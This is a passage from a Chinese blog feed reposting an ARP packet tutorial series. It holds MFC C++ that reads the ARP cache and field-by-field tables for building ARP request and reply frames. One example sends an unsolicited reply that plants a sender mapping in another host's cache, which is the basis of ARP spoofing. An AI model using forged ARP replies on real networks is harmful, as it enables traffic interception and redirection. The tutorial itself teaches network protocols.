								<font color="#5233cc" size="2">     DWORD dwType;                     // 类型</font>
						</div>
						<div align="left">
								<font color="#5233cc" size="2">}INFO_ARP, *PINFO_ARP;</font>
						</div>
						<div align="left">
								<font size="2">
								</font> </div>
						<div align="left">
								<font size="2">
								</font> </div>
						<div align="left">
								<font color="#55aa66" size="2">/**********************************************************************</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*    Name &amp; Params::</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*             AddARPInfoToList</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*             (</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*                  CListCtrl&amp; list :             CARPPlayerDlg传入的list句柄</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*                  const short nAdapterIndex :   用户选中的网卡编号</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*             )</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*    Purpose:</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*             读入系统的ARP缓存列表,.并添加到对话框中</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*    Remarks:</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*             用到了IpHelper api GetIpNetTable</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*             而且用到了WinSock的api，所以要包含&lt;WinSock2.h&gt;</font>
						</div>
						<div align="left">
								<font color="#55aa66" size="2">*****************************************************************/</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">void AddARPInfoToList(CListCtrl&amp; list,const short nAdapterIndex)</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">{</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     char tempChar;</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     DWORD dwListSize = 1;</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     DWORD dwRet;</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     in_addr inaddr;</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     list.DeleteAllItems();</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">
								</font> </div>
						<div align="left">
								<font color="#4d4db3" size="2">     dwRet = GetIpNetTable((PMIB_IPNETTABLE)&amp;tempChar, &amp;dwListSize, TRUE);  // 关键函数</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     if (dwRet == ERROR_INSUFFICIENT_BUFFER)</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">     {</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">         PMIB_IPNETTABLE pIpNetTable = (PMIB_IPNETTABLE)new(char[dwListSize]);</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">         dwRet = GetIpNetTable(pIpNetTable, &amp;dwListSize, TRUE);</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">         if (dwRet == ERROR_SUCCESS)</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">         {</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">              for (int i=0; i&lt;(int)pIpNetTable-&gt;dwNumEntries; i++)</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">              {</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                  // IP</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   inaddr.S_un.S_addr = pIpNetTable-&gt;table[i].dwAddr;</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   strcpy( ARPList[i].szIPAddrStr, inet_ntoa(inaddr) );   </font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   // MAC</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   formatMACToStr( ARPList[i].szHWAddrStr, pIpNetTable-&gt;table[i].bPhysAddr ); </font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   // Type </font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   ARPList[i].dwType = pIpNetTable-&gt;table[i].dwType;         </font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">
								</font> </div>
						<div align="left">
								<font color="#4d4db3" size="2">                   if (AdapterList[nAdapterIndex].dwIndex != pIpNetTable-&gt;table[i].dwIndex)                                                       continue;</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">
								</font> </div>
						<div align="left">
								<font color="#4d4db3" size="2">                   list.InsertItem(i,ARPList[i].szIPAddrStr);</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   list.SetItemText(i,1,ARPList[i].szHWAddrStr);</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   switch(ARPList[i].dwType) {           // 根据type的值来转换成字符显示</font>
						</div>
						<div align="left">
								<font color="#4d4db3" size="2">                   case 3:
<div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Dynamic");</font></div><div align="left"><font color="#4d4db3" size="2">                       break;</font></div><div align="left"><font color="#4d4db3" size="2">                   case 4:</font></div><div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Static");</font></div><div align="left"><font color="#4d4db3" size="2">                       break;</font></div><div align="left"><font color="#4d4db3" size="2">                   case 1:</font></div><div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Invalid");</font></div><div align="left"><font color="#4d4db3" size="2">                   default:</font></div><div align="left"><font color="#4d4db3" size="2">                       list.SetItemText(i,2,"Other");</font></div><div align="left"><font color="#4d4db3" size="2">                   }</font></div><div align="left"><font color="#4d4db3" size="2">              }</font></div><div align="left"><font color="#4d4db3" size="2">         }</font></div><div align="left"><font color="#4d4db3" size="2">         delete pIpNetTable;</font></div><div align="left"><font color="#4d4db3" size="2">     }</font></div><div align="left"><font color="#4d4db3" size="2">}</font></div><div><font size="2">        这样一来，我们基本上大功告成了，其他还有一些东西在这里就不讲了，大家可以下载我的代码看看就好了。</font></div><div><font size="2">        下面我们来用ARP包玩一些小把戏 ^_^。</font></div></font>
						</div>
				</div>
		</div>
<img src ="http://www.blogjava.net/yczz/aggbug/100056.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:45 <a href="http://www.blogjava.net/yczz/articles/100056.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）手把手教你玩转ARP包（二）【数据包的游戏系列之一】</title><link>http://www.blogjava.net/yczz/articles/100055.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:41:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100055.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100055.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100055.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100055.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100055.html</trackback:ping><description><![CDATA[
		<font face="宋体" color="#ff00ff" size="2">作者：</font>
		<div>
				<font size="2">
						<font face="宋体">   <font color="#0000ff">CSDN  VC/MFC 网络编程</font><font color="#f70909">PiggyXP</font>  <font color="#0909f7">^_^</font></font>
				</font>
		</div>
		<div>
				<strong>
						<font face="宋体" color="#800080" size="2">
						</font>
				</strong> </div>
		<div>
				<font color="#ff00ff">
						<strong> </strong> 目录：<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></font>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 宋体">
								<span style="mso-list: Ignore">
										<font face="Times New Roman">
												<strong>    一</strong>．<span style="FONT: 7pt 'Times New Roman'">    </span></font>
								</span>
						</span>
						<span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">关于</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue">
								<font face="Times New Roman">ARP</font>
						</span>
						<span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">协议的基础知识</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt">
						<font face="Times New Roman">
								<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'">
										<span style="mso-list: Ignore">     3. ARP包的填充</span>
								</span>
						</font>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt">
						<font face="Times New Roman">
								<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'">
										<span style="mso-list: Ignore">二。发送数据包的编程实现</span>
								</span>
						</font>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt">
						<span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
						</span>
						<span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">   1.填充数据包</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt">
						<span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
						</span> </p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt">
						<span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">.........................<font color="#7b6699">紧接上文</font>............................</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt">
						<span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
						</span> </p>
		</div>
		<div>
				<font size="2">
						<font face="宋体">
								<b>3<font color="#b822dd">.ARP</font></b>
								<b>
										<font color="#b822dd">包的填充</font>
								</b>
						</font>
				</font>
		</div>
		<div>
				<font face="宋体" color="#e6941a" size="2">1) 请求包的填充：</font>
		</div>
		<div>
				<font face="宋体" size="2">     比如我们的电脑MAC地址为 aa-aa-aa-aa-aa-aa，IP为 192.168.0.1</font>
		</div>
		<div>
				<font face="宋体" size="2"> 我们想要查询 192.168.0.99的MAC地址，应该怎么来做呢？</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<font face="宋体">
						<font size="2">     首先填充DLC Header，通过前面的学习我们知道，想要知道某个计算机对应的MAC地址是要给全网发送广播的，所以<b><font color="#0000ff">接收方MAC</font></b>肯定是 ffffffffffff，<b><font color="#0033ff">发送方MAC</font></b>当然是自己啦，</font>
						<font size="2">于是我们的DLC Header就填充完成了，如图，加粗的是我们要手动输入的值(当然我编的程序比较智能，会根据你选择的ARP包类型帮你自动填入一些字段，你一用便知^_^)。</font>
				</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<table cellspacing="0" cellpadding="0" border="1">
				<tbody>
						<tr>
								<td width="568" colspan="3">
										<div align="center">
												<font face="宋体" size="2">DLC Header</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">字段</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">长度(Byte)</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">填充值</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">接收方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">ffffffffffff</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">发送方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">aaaaaaaaaaaa</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">Ethertype</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">0x0806</font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
		<div>
				<font face="宋体" size="2">图3 ARP请求包中 DLC Header内容</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<font face="宋体" size="2">    接下来是ARP帧，请求包的<b><font color="#0033ff">操作码</font></b>当然是 1,<b>发<font color="#0000ff">送方的MAC</font></b>以及<b><font color="#0938f7">IP</font></b>当然填入我们自己的，然后要注意一下，这里的<b><font color="#0033ff">接收方IP</font></b>填入我们要查询的那个IP地址，就是192.168.0.99了，而<b><font color="#0909f7">接收方MAC</font></b>填入任意值就行，不起作用，于是，如图，</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<table cellspacing="0" cellpadding="0" border="1">
				<tbody>
						<tr>
								<td width="568" colspan="3">
										<div>
												<font face="宋体" size="2">                            ARP Frame</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">字段</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">长度(Byte)</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">填充值</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">硬件类型</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">1</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">上层协议类型</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">0800</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">MAC地址长度</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">1</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">IP地址长度</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">1</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">4</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">操作码</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">1</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">发送方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">aaaaaaaaaaaa</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">发送方IP</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">4</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">192.168.0.1</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">接收方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">任意值 xxxxxxxxxxxx</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">接收方IP</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">4</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">192.168.0.99</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">填充数据</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">18</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">0</font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
		<div>
				<font face="宋体" size="2">                 图4 ARP请求包中 ARP帧的内容</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<font face="宋体" size="2">    如果我们构造一个这样的包发送出去，如果 192.168.0.99存在且是活动的，我们马上就会收到一个192.168.0.99发来的一个响应包，我们可以查看一下我们的ARP缓存列表，是不是多了一项类似这样的条</font>
				<font face="宋体" size="2">目：</font>
				<font face="宋体" size="2">           </font>
		</div>
		<div>
				<font face="宋体" size="2">       192.168.0.99                  bb-bb-bb-bb-bb-bb</font>
		</div>
		<div>
				<font face="宋体" size="2">     是不是很神奇呢？</font>
		</div>
		<div>
				<font face="宋体" size="2">     我们再来看一下ARP响应包的构造</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<font size="2">
						<font face="宋体">
								<font color="#e6941a">
										<b>2) </b>
										<b>响应包的填充</b>
								</font>
						</font>
				</font>
		</div>
		<div>
				<font face="宋体" size="2">     有了前面详细的解说，你肯定就能自己说出响应包的填充方法来了吧，所以我就不细说了，列两个表就好了</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<font face="宋体" size="2">     比如说给 192.168.0.99（MAC为 bb-bb-bb-bb-bb-bb）发一个ARP响应包，告诉它我们的MAC地址为 aa-aa-aa-aa-aa-aa，就是如此来填充各个字段</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<table cellspacing="0" cellpadding="0" border="1">
				<tbody>
						<tr>
								<td width="568" colspan="3">
										<div align="center">
												<font face="宋体" size="2">DLC Header</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">字段</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">长度(Byte)</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">填充值</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">接收方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font size="2">
														<font face="宋体">
																<b>bbbbbbbbbbbb</b>
																<b>
																</b>
														</font>
												</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">发送方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">aaaaaaaaaaaa</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">Ethertype</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">0x0806</font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
		<div>
				<font face="宋体" size="2">              图5 ARP响应包中 DLC Header内容</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<table cellspacing="0" cellpadding="0" border="1">
				<tbody>
						<tr>
								<td width="568" colspan="3">
										<div>
												<font face="宋体" size="2">ARP Frame</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">字段</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">长度(Byte)</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">填充值</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">硬件类型</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">1</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">上层协议类型</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">0800</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">MAC地址长度</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">1</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">IP地址长度</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">1</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">4</font>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">操作码</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">2</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">2</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">发送方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">aaaaaaaaaaaa</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">发送方IP</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">4</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">192.168.0.1</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">接收方MAC</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">6</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">bbbbbbbbbbbb</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">接收方IP</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">4</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<b>
														<font face="宋体" size="2">192.168.0.99</font>
												</b>
										</div>
								</td>
						</tr>
						<tr>
								<td width="103">
										<div align="center">
												<font face="宋体" size="2">填充数据</font>
										</div>
								</td>
								<td width="63">
										<div align="center">
												<font face="宋体" size="2">18</font>
										</div>
								</td>
								<td width="402">
										<div align="center">
												<font face="宋体" size="2">0</font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
		<div>
				<font face="宋体" size="2">          图6 ARP响应包中 ARP帧的内容</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<font face="宋体" size="2">    这样192.168.0.99的ARP缓存中就会多了一条关于我们192.168.0.1的地址映射。</font>
		</div>
		<div>
				<font face="宋体" size="2">    好了，终于到了编程实现它的时候了^_^</font>
		</div>
		<div>
				<font face="宋体" size="2">
				</font> </div>
		<div>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia; mso-bidi-font-family: 宋体">
								<span style="mso-list: Ignore">二．<span style="FONT: 7pt 'Times New Roman'">  </span></span>
						</span>
						<span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发送</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia">ARP</span>
						<span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包的编程实现</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'">
								<span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">        </span></span>
						</span>
						<span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填充数据包</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21">
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上面的那些关于</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt">ARP</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包各个字段的表格，对应在程序里就是结构体，</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋体; mso-ansi-language: ZH-CN">对应于上面的表格，</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">于是我们需要三个下面这样的结构体</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// DLC Header</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="COLOR: blue">struct</span> tagDLCHeader<span style="mso-spacerun: yes">                     </span><span style="COLOR: green"><o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">   </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
